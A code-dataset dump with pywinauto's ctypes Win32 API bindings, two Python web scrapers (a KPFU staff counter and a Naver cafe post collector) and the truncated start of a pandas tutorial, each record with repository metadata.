wintypes.HDC,\n wintypes.LPCWSTR,\n c_int,\n POINTER(wintypes.RECT),\n wintypes.UINT,\n]\nTextOut = windll.gdi32.TextOutW\nTextOut.restype = wintypes.BOOL\nTextOut.argtypes = [\n wintypes.HDC,\n c_int,\n c_int,\n wintypes.LPCWSTR,\n c_int,\n]\nRectangle = windll.gdi32.Rectangle\nRectangle.restype = wintypes.BOOL\nRectangle.argtypes = [\n wintypes.HDC,\n c_int,\n c_int,\n c_int,\n c_int,\n]\nSelectObject = windll.gdi32.SelectObject\nSelectObject.restype = wintypes.HGDIOBJ\nSelectObject.argtypes = [\n wintypes.HDC,\n wintypes.HGDIOBJ,\n]\nGetStockObject = windll.gdi32.GetStockObject\nGetStockObject.restype = wintypes.HGDIOBJ\nGetStockObject.argtypes = [\n c_int,\n]\nGetSystemMetrics = windll.user32.GetSystemMetrics\nGetSystemMetrics.restype = c_int\nGetSystemMetrics.argtypes = [\n c_int,\n]\nGetTextMetrics = windll.gdi32.GetTextMetricsW\nGetTextMetrics.restype = wintypes.BOOL\nGetTextMetrics.argtypes = [\n wintypes.HDC,\n POINTER(win32structures.TEXTMETRICW),\n]\nEnumChildWindows = windll.user32.EnumChildWindows\nEnumChildWindows.restype = wintypes.BOOL\nEnumChildWindows.argtypes = [\n wintypes.HWND,\n WINFUNCTYPE(wintypes.BOOL, wintypes.HWND, wintypes.LPARAM),\n wintypes.LPARAM,\n]\nEnumDesktopWindows = windll.user32.EnumDesktopWindows\nEnumDesktopWindows.restype = wintypes.BOOL\nEnumDesktopWindows.argtypes = [\n wintypes.LPVOID,\n WINFUNCTYPE(wintypes.BOOL, wintypes.HWND, wintypes.LPARAM),\n wintypes.LPARAM,\n]\nEnumWindows = windll.user32.EnumWindows\nEnumWindows.restype = wintypes.BOOL\nEnumWindows.argtypes = [\n WINFUNCTYPE(wintypes.BOOL, wintypes.HWND, wintypes.LPARAM),\n wintypes.LPARAM,\n]\nGetDC = windll.user32.GetDC\nGetDC.restype = wintypes.LPVOID\nGetDC.argtypes = [\n wintypes.HWND,\n]\nGetDesktopWindow = windll.user32.GetDesktopWindow\nGetDesktopWindow.restype = wintypes.HWND\nGetDesktopWindow.argtypes = [\n]\nSendInput = windll.user32.SendInput\nSendInput.restype = wintypes.UINT\nSendInput.argtypes = [\n wintypes.UINT,\n c_void_p, # using POINTER(win32structures.INPUT) needs rework in keyboard.py\n c_int,\n]\nSetCursorPos = windll.user32.SetCursorPos\nSetCursorPos.restype = wintypes.BOOL\nSetCursorPos.argtypes = [\n c_int,\n c_int,\n]\nGetCursorPos = windll.user32.GetCursorPos\nGetCursorPos.restype = wintypes.BOOL\nGetCursorPos.argtypes = [\n POINTER(wintypes.POINT),\n]\nGetCaretPos = windll.user32.GetCaretPos\nGetCaretPos.restype = wintypes.BOOL\nGetCaretPos.argtypes = [\n POINTER(wintypes.POINT),\n]\nGetKeyboardState = windll.user32.GetKeyboardState\nGetKeyboardState.restype = wintypes.BOOL\nGetKeyboardState.argtypes = [\n POINTER(c_ubyte),\n]\nSetKeyboardState = windll.user32.SetKeyboardState\nSetKeyboardState.restype = wintypes.BOOL\nSetKeyboardState.argtypes = [\n POINTER(c_ubyte),\n]\nGetKeyboardLayout = windll.user32.GetKeyboardLayout\nGetKeyboardLayout.restype = wintypes.HKL\nGetKeyboardLayout.argtypes = [\n wintypes.DWORD,\n]\nVkKeyScanW = windll.user32.VkKeyScanW\nVkKeyScanW.restype = SHORT\nVkKeyScanW.argtypes = [\n wintypes.WCHAR,\n]\nVkKeyScanExW = windll.user32.VkKeyScanExW\nVkKeyScanExW.restype = SHORT\nVkKeyScanExW.argtypes = [\n wintypes.WCHAR,\n wintypes.HKL,\n]\nGetMessageExtraInfo = windll.user32.GetMessageExtraInfo\nMapVirtualKeyW = windll.user32.MapVirtualKeyW\n# menu functions\nDrawMenuBar = windll.user32.DrawMenuBar\nDrawMenuBar.restype = wintypes.BOOL\nDrawMenuBar.argstype = [\n wintypes.HWND,\n]\nGetMenu = windll.user32.GetMenu\nGetMenu.restype = wintypes.HMENU\nGetMenu.argtypes = [\n wintypes.HWND,\n]\nGetMenuBarInfo = windll.user32.GetMenuBarInfo\nGetMenuBarInfo.restype = wintypes.BOOL\nGetMenuBarInfo.argtypes = [\n wintypes.HWND,\n wintypes.LONG,\n wintypes.LONG,\n POINTER(win32structures.MENUBARINFO),\n]\nGetMenuInfo = windll.user32.GetMenuInfo\nGetMenuInfo.restype = wintypes.BOOL\nGetMenuInfo.argtypes = [\n wintypes.HWND,\n POINTER(win32structures.MENUINFO),\n]\nGetMenuItemCount = windll.user32.GetMenuItemCount\nGetMenuItemCount.restype = c_int\nGetMenuItemCount.argtypes = [\n wintypes.HMENU,\n]\nGetMenuItemInfo = windll.user32.GetMenuItemInfoW\nGetMenuItemInfo.restype = wintypes.BOOL\nGetMenuItemInfo.argtypes = [\n wintypes.HMENU,\n wintypes.UINT,\n wintypes.BOOL,\n POINTER(win32structures.MENUITEMINFOW),\n]\nSetMenuItemInfo = windll.user32.SetMenuItemInfoW\nSetMenuItemInfo.restype = wintypes.BOOL\nSetMenuItemInfo.argtypes = [\n wintypes.HMENU,\n wintypes.UINT,\n wintypes.BOOL,\n POINTER(win32structures.MENUITEMINFOW),\n]\nGetMenuItemRect = windll.user32.GetMenuItemRect\nGetMenuItemRect.restype = wintypes.BOOL\nGetMenuItemRect.argtypes = [\n wintypes.HWND,\n wintypes.HMENU,\n wintypes.UINT,\n POINTER(wintypes.RECT),\n]\nCheckMenuItem = windll.user32.CheckMenuItem\nCheckMenuItem.restype = wintypes.DWORD\nCheckMenuItem.argtypes = [\n wintypes.HMENU,\n wintypes.UINT,\n wintypes.UINT,\n]\nGetMenuState = windll.user32.GetMenuState\nGetMenuState.restype = wintypes.UINT\nGetMenuState.argtypes = [\n wintypes.HMENU,\n wintypes.UINT,\n wintypes.UINT,\n]\nGetSubMenu = windll.user32.GetSubMenu\nGetSubMenu.restype = wintypes.HMENU\nGetSubMenu.argtypes = [\n wintypes.HMENU,\n c_int,\n]\nGetSystemMenu = windll.user32.GetSystemMenu\nGetSystemMenu.restype = wintypes.HMENU\nGetSystemMenu.argtypes = [\n wintypes.HWND,\n wintypes.BOOL,\n]\nHiliteMenuItem = windll.user32.HiliteMenuItem\nHiliteMenuItem.restype = wintypes.BOOL\nHiliteMenuItem.argtypes = [\n wintypes.HWND,\n wintypes.HMENU,\n wintypes.UINT,\n wintypes.UINT,\n]\nIsMenu = windll.user32.IsMenu\nIsMenu.restype = wintypes.BOOL\nIsMenu.argtypes = [\n wintypes.HMENU,\n]\nMenuItemFromPoint = windll.user32.MenuItemFromPoint\nMenuItemFromPoint.restype = c_int\nMenuItemFromPoint.argtypes = [\n wintypes.HWND,\n wintypes.HMENU,\n POINTER(wintypes.POINT),\n]\nBringWindowToTop = windll.user32.BringWindowToTop\nBringWindowToTop.restype = wintypes.BOOL\nBringWindowToTop.argtypes = [\n wintypes.HWND,\n]\n\nGetParent = windll.user32.GetParent\nGetParent.restype = wintypes.HWND\nGetParent.argtypes = [\n wintypes.HWND,\n]\nGetWindow = windll.user32.GetWindow\nGetWindow.restype = wintypes.HWND\nGetWindow.argtypes = [\n wintypes.HWND,\n wintypes.UINT,\n]\nShowWindow = windll.user32.ShowWindow\nShowWindow.restype = wintypes.BOOL\nShowWindow.argtypes = [\n wintypes.HWND,\n c_int,\n]\nGetWindowContextHelpId = windll.user32.GetWindowContextHelpId\nGetWindowContextHelpId.restype = wintypes.DWORD\nGetWindowContextHelpId.argtypes = [\n wintypes.HWND,\n]\nGetWindowLong = windll.user32.GetWindowLongW\nGetWindowLong.restype = wintypes.LONG\nGetWindowLong.argtypes = [\n wintypes.HWND,\n c_int,\n]\nGetWindowPlacement = windll.user32.GetWindowPlacement\nGetWindowPlacement.restype = wintypes.BOOL\nGetWindowPlacement.argtypes = [\n wintypes.HWND,\n POINTER(win32structures.WINDOWPLACEMENT),\n]\nGetWindowRect = windll.user32.GetWindowRect\nGetWindowRect.restype = wintypes.BOOL\nGetWindowRect.argtypes = [\n wintypes.HWND,\n POINTER(wintypes.RECT),\n]\nGetWindowText = windll.user32.GetWindowTextW\nGetWindowText.restype = c_int\nGetWindowText.argtypes = [\n wintypes.HWND,\n wintypes.LPWSTR,\n c_int,\n]\nGetWindowTextLength = windll.user32.GetWindowTextLengthW\nGetWindowTextLength.restype = c_int\nGetWindowTextLength.argtypes = [\n wintypes.HWND,\n]\nGetClassName = windll.user32.GetClassNameW\nGetClassName.restype = c_int\nGetClassName.argtypes = [\n wintypes.HWND,\n wintypes.LPWSTR,\n c_int,\n]\nGetClientRect = windll.user32.GetClientRect\nGetClientRect.restype = wintypes.BOOL\nGetClientRect.argtypes = [\n wintypes.HWND,\n POINTER(wintypes.RECT),\n]\nIsChild = windll.user32.IsChild\nIsChild.restype = wintypes.BOOL\nIsChild.argtypes = [\n wintypes.HWND,\n wintypes.HWND,\n]\nIsWindow = windll.user32.IsWindow\nIsWindow.restype = wintypes.BOOL\nIsWindow.argtypes = [\n wintypes.HWND,\n]\nIsWindowUnicode = windll.user32.IsWindowUnicode\nIsWindowUnicode.restype = wintypes.BOOL\nIsWindowUnicode.argtypes = [\n wintypes.HWND,\n]\nIsWindowVisible = windll.user32.IsWindowVisible\nIsWindowVisible.restype = wintypes.BOOL\nIsWindowVisible.argtypes = [\n wintypes.HWND,\n]\nIsWindowEnabled = windll.user32.IsWindowEnabled\nIsWindowEnabled.restype = wintypes.BOOL\nIsWindowEnabled.argtypes = [\n wintypes.HWND,\n]\nClientToScreen = windll.user32.ClientToScreen\nClientToScreen.restype = wintypes.BOOL\nClientToScreen.argtypes = [\n wintypes.HWND,\n POINTER(wintypes.POINT),\n]\nScreenToClient = windll.user32.ScreenToClient\nScreenToClient.restype = wintypes.BOOL\nScreenToClient.argtypes = [\n wintypes.HWND,\n POINTER(wintypes.POINT),\n]\nGetCurrentThreadId = windll.kernel32.GetCurrentThreadId\nGetCurrentThreadId.restype = wintypes.DWORD\nGetCurrentThreadId.argtypes = [\n]\nGetWindowThreadProcessId = windll.user32.GetWindowThreadProcessId\nGetWindowThreadProcessId.restype = wintypes.DWORD\nGetWindowThreadProcessId.argtypes = [\n wintypes.HWND,\n POINTER(wintypes.DWORD),\n]\nGetGUIThreadInfo = windll.user32.GetGUIThreadInfo\nGetGUIThreadInfo.restype = wintypes.BOOL\nGetGUIThreadInfo.argtypes = [\n wintypes.DWORD,\n POINTER(win32structures.GUITHREADINFO),\n]\nAttachThreadInput = windll.user32.AttachThreadInput\nAttachThreadInput.restype = wintypes.BOOL\nAttachThreadInput.argtypes = [\n wintypes.DWORD,\n wintypes.DWORD,\n wintypes.BOOL\n]\nOpenProcess = windll.kernel32.OpenProcess\nOpenProcess.restype = wintypes.HANDLE\nOpenProcess.argtypes = [\n wintypes.DWORD,\n wintypes.BOOL,\n wintypes.DWORD,\n]\nCloseHandle = windll.kernel32.CloseHandle\nCloseHandle.restype = wintypes.BOOL\nCloseHandle.argtypes = [\n wintypes.HANDLE,\n]\nCreateProcess = windll.kernel32.CreateProcessW\nCreateProcess.restype = wintypes.BOOL\nCreateProcess.argtypes = [\n wintypes.LPCWSTR,\n wintypes.LPWSTR,\n POINTER(win32structures.SECURITY_ATTRIBUTES),\n POINTER(win32structures.SECURITY_ATTRIBUTES),\n wintypes.BOOL,\n wintypes.DWORD,\n wintypes.LPVOID,\n wintypes.LPCWSTR,\n POINTER(win32structures.STARTUPINFOW),\n POINTER(win32structures.PROCESS_INFORMATION),\n]\nTerminateProcess = windll.kernel32.TerminateProcess\nTerminateProcess.restype = wintypes.BOOL\nTerminateProcess.argtypes = [\n wintypes.HANDLE,\n wintypes.UINT,\n]\nExitProcess = windll.kernel32.ExitProcess\nExitProcess.restype = None\nExitProcess.argtypes = [\n wintypes.UINT,\n]\nReadProcessMemory = windll.kernel32.ReadProcessMemory\nReadProcessMemory.restype = wintypes.BOOL\nReadProcessMemory.argtypes = [\n wintypes.HANDLE,\n wintypes.LPVOID,\n wintypes.LPVOID,\n c_size_t,\n POINTER(c_size_t),\n]\nGlobalAlloc = windll.kernel32.GlobalAlloc\nGlobalLock = windll.kernel32.GlobalLock\nGlobalUnlock = windll.kernel32.GlobalUnlock\n\nSendMessage = windll.user32.SendMessageW\nSendMessage.restype = wintypes.LPARAM\nSendMessage.argtypes = [\n wintypes.HWND,\n wintypes.UINT,\n wintypes.WPARAM,\n wintypes.LPVOID,\n]\nSendMessageTimeout = windll.user32.SendMessageTimeoutW\nSendMessageTimeout.restype = wintypes.LPARAM\nSendMessageTimeout.argtypes = [\n wintypes.HWND,\n wintypes.UINT,\n wintypes.WPARAM,\n wintypes.LPARAM,\n wintypes.UINT,\n wintypes.UINT,\n win32structures.PDWORD_PTR,\n]\nPostMessage = windll.user32.PostMessageW\nPostMessage.restype = wintypes.BOOL\nPostMessage.argtypes = [\n wintypes.HWND,\n wintypes.UINT,\n wintypes.WPARAM,\n wintypes.LPARAM,\n]\nGetMessage = windll.user32.GetMessageW\nGetMessage.restype = wintypes.BOOL\nGetMessage.argtypes = [\n POINTER(wintypes.MSG),\n wintypes.HWND,\n wintypes.UINT,\n wintypes.UINT,\n]\nRegisterWindowMessage = windll.user32.RegisterWindowMessageW\nRegisterWindowMessage.restype = wintypes.UINT\nRegisterWindowMessage.argtypes = [\n wintypes.LPCWSTR,\n]\nMoveWindow = windll.user32.MoveWindow\nMoveWindow.restype = wintypes.BOOL\nMoveWindow.argtypes = [\n wintypes.HWND,\n c_int,\n c_int,\n c_int,\n c_int,\n wintypes.BOOL,\n]\nEnableWindow = windll.user32.EnableWindow\nEnableWindow.restype = wintypes.BOOL\nEnableWindow.argtypes = [\n wintypes.HWND,\n wintypes.BOOL,\n]\nSetFocus = windll.user32.SetFocus\nSetFocus.restype = wintypes.HWND\nSetFocus.argtypes = [\n wintypes.HWND,\n]\nSetWindowLong = windll.user32.SetWindowLongW\nSetWindowLong.restype = wintypes.LONG\nSetWindowLong.argtypes = [\n wintypes.HWND,\n c_int,\n wintypes.LONG,\n]\ntry:\n SetWindowLongPtr = windll.user32.SetWindowLongPtrW\n SetWindowLongPtr.argtypes = [wintypes.HWND, c_int, wintypes.LONG_PTR]\n SetWindowLongPtr.restype = wintypes.LONG_PTR\nexcept AttributeError:\n SetWindowLongPtr = SetWindowLong\nSystemParametersInfo = windll.user32.SystemParametersInfoW\nSystemParametersInfo.restype = wintypes.UINT\nSystemParametersInfo.argtypes = [\n wintypes.UINT,\n wintypes.UINT,\n wintypes.LPVOID, # should map well to PVOID\n wintypes.UINT,\n]\nVirtualAllocEx = windll.kernel32.VirtualAllocEx\nVirtualAllocEx.restype = wintypes.LPVOID\nVirtualAllocEx.argtypes = [\n wintypes.HANDLE,\n wintypes.LPVOID,\n c_size_t,\n wintypes.DWORD,\n wintypes.DWORD,\n]\nVirtualFreeEx = windll.kernel32.VirtualFreeEx\nVirtualFreeEx.restype = wintypes.BOOL\nVirtualFreeEx.argtypes = [\n wintypes.HANDLE,\n wintypes.LPVOID,\n c_size_t,\n wintypes.DWORD,\n]\nVirtualAlloc = windll.kernel32.VirtualAlloc\nVirtualAlloc.restype = wintypes.LPVOID\nVirtualAlloc.argtypes = [\n wintypes.LPVOID,\n c_size_t,\n wintypes.DWORD,\n wintypes.DWORD,\n]\nVirtualFree = windll.kernel32.VirtualFree\nVirtualFree.retype = wintypes.BOOL\nVirtualFree.argtypes = [\n wintypes.LPVOID,\n c_size_t,\n wintypes.DWORD,\n]\nWriteProcessMemory = windll.kernel32.WriteProcessMemory\nWriteProcessMemory.restype = wintypes.BOOL\nWriteProcessMemory.argtypes = [\n wintypes.HANDLE,\n wintypes.LPVOID,\n wintypes.LPVOID,\n c_size_t,\n POINTER(c_size_t),\n]\nReleaseCapture = windll.user32.ReleaseCapture\nReleaseCapture.restype = wintypes.BOOL\nReleaseCapture.argtypes = [\n]\nWindowFromPoint = windll.user32.WindowFromPoint\nWindowFromPoint.restype = wintypes.HWND\nWindowFromPoint.argtypes = [\n wintypes.POINT,\n]\nWaitForSingleObject = windll.kernel32.WaitForSingleObject\nWaitForSingleObject.restype = wintypes.DWORD\nWaitForSingleObject.argtypes = [\n wintypes.HANDLE,\n wintypes.DWORD,\n]\nWaitForInputIdle = windll.user32.WaitForInputIdle\nWaitForInputIdle.restype = wintypes.DWORD\nWaitForInputIdle.argtypes = [\n wintypes.HANDLE,\n wintypes.DWORD,\n]\nIsHungAppWindow = windll.user32.IsHungAppWindow\nIsHungAppWindow.restype = wintypes.BOOL\nIsHungAppWindow.argtypes = [\n wintypes.HWND,\n]\nGetModuleFileNameEx = windll.psapi.GetModuleFileNameExW\nGetModuleFileNameEx.restype = wintypes.DWORD\nGetModuleFileNameEx.argtypes = [\n wintypes.HANDLE,\n wintypes.HMODULE,\n wintypes.LPWSTR,\n wintypes.DWORD,\n]\nGetClipboardData = windll.user32.GetClipboardData\nGetClipboardData.restype = wintypes.HANDLE\nGetClipboardData.argtypes = [\n wintypes.UINT,\n]\nOpenClipboard = windll.user32.OpenClipboard\nOpenClipboard.restype = wintypes.BOOL\nOpenClipboard.argtypes = [\n wintypes.HWND,\n]\nEmptyClipboard = windll.user32.EmptyClipboard\nEmptyClipboard.restype = wintypes.BOOL\nEmptyClipboard.argtypes = [\n]\nCloseClipboard = windll.user32.CloseClipboard\nCloseClipboard.restype = wintypes.BOOL\nCloseClipboard.argtypes = [\n]\nCountClipboardFormats = windll.user32.CountClipboardFormats\nCountClipboardFormats.restype = c_int\nCountClipboardFormats.argtypes = [\n]\nEnumClipboardFormats = windll.user32.EnumClipboardFormats\nEnumClipboardFormats.restype = wintypes.UINT\nEnumClipboardFormats.argtypes = [\n wintypes.UINT,\n]\nGetClipboardFormatName = windll.user32.GetClipboardFormatNameW\nGetClipboardFormatName.restype = c_int\nGetClipboardFormatName.argtypes = [\n wintypes.UINT,\n wintypes.LPWSTR,\n c_int,\n]\nTranslateMessage = windll.user32.TranslateMessage\nTranslateMessage.argtypes = [\n POINTER(wintypes.MSG)\n]\nDispatchMessageW = windll.user32.DispatchMessageW\nDispatchMessageW.argtypes = [\n POINTER(wintypes.MSG)\n]\nPeekMessageW = windll.user32.PeekMessageW\nPeekMessageW.restypes = wintypes.BOOL\nPeekMessageW.argtypes = [\n POINTER(wintypes.MSG),\n wintypes.HWND,\n c_uint,\n c_uint,\n c_uint,\n]\n\n# DPIAware API funcs are not available on WinXP\ntry:\n IsProcessDPIAware = windll.user32.IsProcessDPIAware\n SetProcessDPIAware = windll.user32.SetProcessDPIAware\nexcept AttributeError:\n IsProcessDPIAware = None\n SetProcessDPIAware = None\n\n# DpiAwareness API funcs are available only from win 8.1 and greater\n# Supported types of DPI awareness described here:\n# https://msdn.microsoft.com/en-us/library/windows/desktop/dn280512(v=vs.85).aspx\n# typedef enum _Process_DPI_Awareness {\n# Process_DPI_Unaware = 0,\n# Process_System_DPI_Aware = 1,\n# Process_Per_Monitor_DPI_Aware = 2\n# } Process_DPI_Awareness;\ntry:\n shcore = windll.LoadLibrary(\"Shcore.dll\")\n SetProcessDpiAwareness = shcore.SetProcessDpiAwareness\n GetProcessDpiAwareness = shcore.GetProcessDpiAwareness\n Process_DPI_Awareness = {\n \"PROCESS_DPI_UNAWARE\" : 0,\n \"PROCESS_SYSTEM_DPI_AWARE\" : 1,\n \"PROCESS_PER_MONITOR_DPI_AWARE\" : 2,\n }\nexcept (OSError, AttributeError):\n SetProcessDpiAwareness = None\n GetProcessDpiAwareness = None\n Process_DPI_Awareness = None\n\n\n# SetProcessDpiAwarenessContext is available from\n# Windows 10, version 1703 or Windows Server 2016\ntry:\n # Notice that argument values for SetProcessDpiAwarenessContext are\n # different from values returned by GetAwarenessFromDpiAwarenessContext\n\n # GetAwarenessFromDpiAwarenessContext\n # https://docs.microsoft.com/en-us/windows/win32/api/windef/ne-windef-dpi_awareness\n # typedef enum DPI_AWARENESS {\n # DPI_AWARENESS_INVALID,\n # DPI_AWARENESS_UNAWARE,\n # DPI_AWARENESS_SYSTEM_AWARE,\n # DPI_AWARENESS_PER_MONITOR_AWARE\n # };\n\n # SetProcessDpiAwarenessContext\n # https://docs.microsoft.com/en-au/windows/win32/hidpi/dpi-awareness-context\n # #define DPI_AWARENESS_CONTEXT_UNAWARE ((DPI_AWARENESS_CONTEXT)-1)\n # #define DPI_AWARENESS_CONTEXT_SYSTEM_AWARE ((DPI_AWARENESS_CONTEXT)-2)\n # #define DPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE ((DPI_AWARENESS_CONTEXT)-3)\n # #define DPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE_V2 ((DPI_AWARENESS_CONTEXT)-4)\n # #define DPI_AWARENESS_CONTEXT_UNAWARE_GDISCALED ((DPI_AWARENESS_CONTEXT)-5)\n DPI_AWARENESS_CONTEXT = {\n \"UNAWARE\": wintypes.HANDLE(-1),\n \"SYSTEM_AWARE\": wintypes.HANDLE(-2),\n \"PER_MONITOR_AWARE\": wintypes.HANDLE(-3),\n \"PER_MONITOR_AWARE_V2\": wintypes.HANDLE(-4),\n \"UNAWARE_GDISCALED\": wintypes.HANDLE(-5),\n }\n SetProcessDpiAwarenessContext = windll.user32.SetProcessDpiAwarenessContext\n SetProcessDpiAwarenessContext.restype = wintypes.BOOL\n SetProcessDpiAwarenessContext.argtypes = [\n wintypes.HANDLE,\n ]\nexcept (OSError, AttributeError):\n SetProcessDpiAwarenessContext = None\n\n# Setup DPI awareness for the python process if any is supported\nif SetProcessDpiAwarenessContext:\n ActionLogger().log(\"Call SetProcessDpiAwarenessContext with PROCESS_PER_MONITOR_DPI_AWARE\")\n SetProcessDpiAwarenessContext(\n DPI_AWARENESS_CONTEXT[\"PER_MONITOR_AWARE\"])\nelif SetProcessDpiAwareness:\n ActionLogger().log(\"Call SetProcessDpiAwareness with PROCESS_PER_MONITOR_DPI_AWARE\")\n SetProcessDpiAwareness(\n Process_DPI_Awareness[\"PROCESS_PER_MONITOR_DPI_AWARE\"])\nelif SetProcessDPIAware:\n ActionLogger().log(\"Call SetProcessDPIAware\")\n SetProcessDPIAware()\n\nGetQueueStatus = windll.user32.GetQueueStatus\n\nLoadString = windll.user32.LoadStringW\n\n\n#def VkKeyScanW(p1):\n# # C:/PROGRA~1/MICROS~4/VC98/Include/winuser.h 4225\n# return VkKeyScanW._api_(p1)\n#VkKeyScan = stdcall(SHORT, 'user32', [c_wchar]) (VkKeyScanW)\n#\n#def MapVirtualKeyExW(p1, p2, p3):\n# # C:/PROGRA~1/MICROS~4/VC98/Include/winuser.h 4376\n# return MapVirtualKeyExW._api_(p1, p2, p3)\n#MapVirtualKeyEx = stdcall(\n# UINT, 'user32', [c_uint, c_uint, c_long]) (MapVirtualKeyExW)\n#\n#def MapVirtualKeyW(p1, p2):\n# # C:/PROGRA~1/MICROS~4/VC98/Include/winuser.h 4355\n# return MapVirtualKeyW._api_(p1, p2)\n#MapVirtualKey = stdcall(UINT, 'user32', [c_uint, c_uint]) (MapVirtualKeyW)\n\n\n#====================================================================\ndef MakeLong(high, low):\n \"\"\"Pack high into the high word of a long and low into the low word\"\"\"\n\n # we need to AND each value with 0xFFFF to account for numbers\n # greater then normal WORD (short) size\n return ((high & 0xFFFF) << 16) | (low & 0xFFFF)\n\n#====================================================================\ndef HiWord(value):\n \"\"\"Return the high word from a long\"\"\"\n #return (value & (~ 0xFFFF)) / 0xFFFF\n return (value >> 16) & 0xffff\n\n#====================================================================\ndef LoWord(value):\n \"\"\"Return the low word from a long\"\"\"\n return value & 0xFFFF\n\n#====================================================================\ndef WaitGuiThreadIdle(handle):\n \"\"\"Wait until the thread of the specified handle is ready\"\"\"\n process_id = wintypes.DWORD(0)\n GetWindowThreadProcessId(handle, byref(process_id))\n\n # ask the control if it has finished processing the message\n hprocess = OpenProcess(\n win32defines.PROCESS_QUERY_INFORMATION,\n 0,\n process_id.value)\n\n # WaitForInputIdle call is removed because it's useful only\n # while an app is starting (should be called only once)\n if IsHungAppWindow(handle) == win32defines.TRUE:\n raise RuntimeError('Window (hwnd={0}) is not responding!'.format(handle))\n\n CloseHandle(hprocess)\n\n#====================================================================\ndef GetDpiAwarenessByPid(pid):\n \"\"\"Get DPI awareness properties of a process specified by ID\"\"\"\n dpi_awareness = -1\n hProcess = None\n if GetProcessDpiAwareness and pid:\n hProcess = OpenProcess(\n win32defines.PROCESS_QUERY_INFORMATION,\n 0,\n pid)\n if not hProcess:\n # process doesn't exist, exit with a default return value\n return dpi_awareness\n\n try:\n dpi_awareness = c_int()\n hRes = GetProcessDpiAwareness(\n hProcess,\n byref(dpi_awareness))\n CloseHandle(hProcess)\n if hRes == 0:\n return dpi_awareness.value\n finally:\n if hProcess:\n CloseHandle(hProcess)\n\n # GetProcessDpiAwareness is not supported or pid is not specified,\n # return a default value\n return dpi_awareness\n","repo_name":"pywinauto/pywinauto","sub_path":"pywinauto/windows/win32functions.py","file_name":"win32functions.py","file_ext":"py","file_size_in_byte":24371,"program_lang":"python","lang":"en","doc_type":"code","stars":4346,"dataset":"github-code","pt":"5"} +{"seq_id":"43246883821","text":"from urllib.request import urlopen\nfrom bs4 import BeautifulSoup as bs\nfrom instituties.ivmiit import get_link_from_button\n\nurl_engineer = 'https://kpfu.ru/engineer'\n\ndef get_cathedras(url):\n site = urlopen(url)\n soup = bs(site, 'html.parser')\n\n div = soup.find('div', class_='area_width')\n tags_a = div.find_all('a')\n\n cathedras = list()\n for item in tags_a:\n if item.text.startswith('Кафедра'):\n cathedras.append((item.text, item.get('href')))\n return cathedras\n\ndef get_stuff(url):\n site = urlopen(url)\n if site is None:\n return\n soup = bs(site, 'html.parser')\n stuff = list()\n\n div = soup.find('table', class_='cke_show_border')\n if div:\n tags_a = div.find_all('a')\n for item in tags_a:\n if item:\n stuff.append((item.text, item.get('href')))\n else:\n iframe = soup.find('iframe')\n if iframe:\n source = iframe.get('src')\n\n site = urlopen(source)\n soup = bs(site, 'html.parser')\n\n spans = soup.find_all('span', class_='fio')\n for item in spans:\n tag_a = item.find('a')\n if tag_a:\n stuff.append((tag_a.text, tag_a.get('href')))\n\n return stuff\n\ndef parse_engineer(url):\n struct_button_url = get_link_from_button(url, 'Структура')\n cathedras = get_cathedras(struct_button_url)\n\n res = {}\n\n for name, url in cathedras:\n url1 = get_link_from_button(url, 'Состав кафедры')\n url2 = get_link_from_button(url, 'Сотрудники кафедры')\n if url1:\n stuff_url = url1\n elif url2:\n stuff_url = url2\n res[name] = len(get_stuff(stuff_url))\n\n return res\n\n# print(parse_engineer(url_engineer))\n","repo_name":"barnet30/web_parser","sub_path":"instituties/engineer.py","file_name":"engineer.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"22693661565","text":"import asyncio\nimport csv\nimport pandas as pd\nfrom bs4 import BeautifulSoup as bs\nfrom pyppeteer import launch\ntotal_list = [\"title\", \"time\", \"view\"]\nf = open('crawl.csv', 'w', encoding=\"utf-8\", newline='')\nwr = csv.writer(f)\nwr.writerow([total_list[0], total_list[1], total_list[2]])\nf.close()\nasync def main():\n i = 0\n while True:\n origin_df = pd.read_csv('crawl.csv', encoding='utf-8')\n login_url = 'https://nid.naver.com/nidlogin.login'\n id = \"\"\n pw = \"\"\n browser = await launch()\n page = await browser.newPage()\n await page.goto(login_url)\n await page.type('input[name=\"id\"]', id)\n await page.type('input[name=\"pw\"]', pw)\n await page.click('input[type=\"submit\"]')\n await page.waitForNavigation()\n baseurl = 'https://cafe.naver.com/cafeurl'\n i = i + 1\n print(i)\n clubid = 13005023\n boardtype = \"L\"\n pageNum = i\n userDisplay = 50\n await page.goto(baseurl + 'ArticleList.nhn?search.clubid=' + str(clubid) + '&search.boardtype=' + str(\n boardtype) + '&search.page=' + str(pageNum) + '&userDisplay=' + str(userDisplay))\n await page.waitForSelector('#cafe_main')\n await page.switch_to_frame('cafe_main')\n soup = bs(await page.content(), 'html.parser')\n soup = soup.find_all(class_='article-board m-tcol-c')[1]\n datas = soup.select(\"#main-area > div:nth-child(4) > table > tbody > tr\")\n for data in datas:\n article_title = data.find(class_=\"article\")\n article_date = data.find(class_='td_date')\n article_view = data.find(class_='td_view')\n if article_title is None:\n article_title = \"null\"\n else:\n article_title = article_title.get_text().strip()\n if article_date is None:\n article_date = \"null\"\n else:\n article_date = article_date.get_text().strip()\n if article_view is None:\n article_view = \"null\"\n else:\n article_view = article_view.get_text().strip()\n f = open('crawl.csv', 'a+', newline='', encoding=\"utf-8\")\n wr = csv.writer(f)\n wr.writerow([article_title, article_date, article_view])\n f.close()\n print('end')\n await browser.close()\nasyncio.run(main())\n\n\n\n","repo_name":"ziminl/naver-web-scrape-wapper","sub_path":"cafe_scrape_pyppeteer.py","file_name":"cafe_scrape_pyppeteer.py","file_ext":"py","file_size_in_byte":2400,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"161352787","text":"import pandas as pd\nimport numpy as np\n# high level data manipulation tool\n\n# dictionary method\ndict = {\"country\": [\"Brazil\", \"Russia\", \"India\", \"China\", \"South Africa\"],\n \"capital\": [\"Brasilia\", \"Moscow\", \"New Delhi\", \"Beijing\", \"Pretoria\"],\n \"area\": [8.516, 17.10, 3.286, 9.567, 1.221],\n \"population\": [200.4, 143.5, 1252, 1357, 52.98]}\n\nbrics = pd.DataFrame(dict)\nbrics.index = [\"BR\", \"RU\", \"IN\", \"CH\", \"SA\"]\n\nprint(brics)\nbrics.head(2) # default is 5\n\n# import csv method\nmovies = pd.read_csv(\"testfiles/movies-db.csv\")\nmovies = 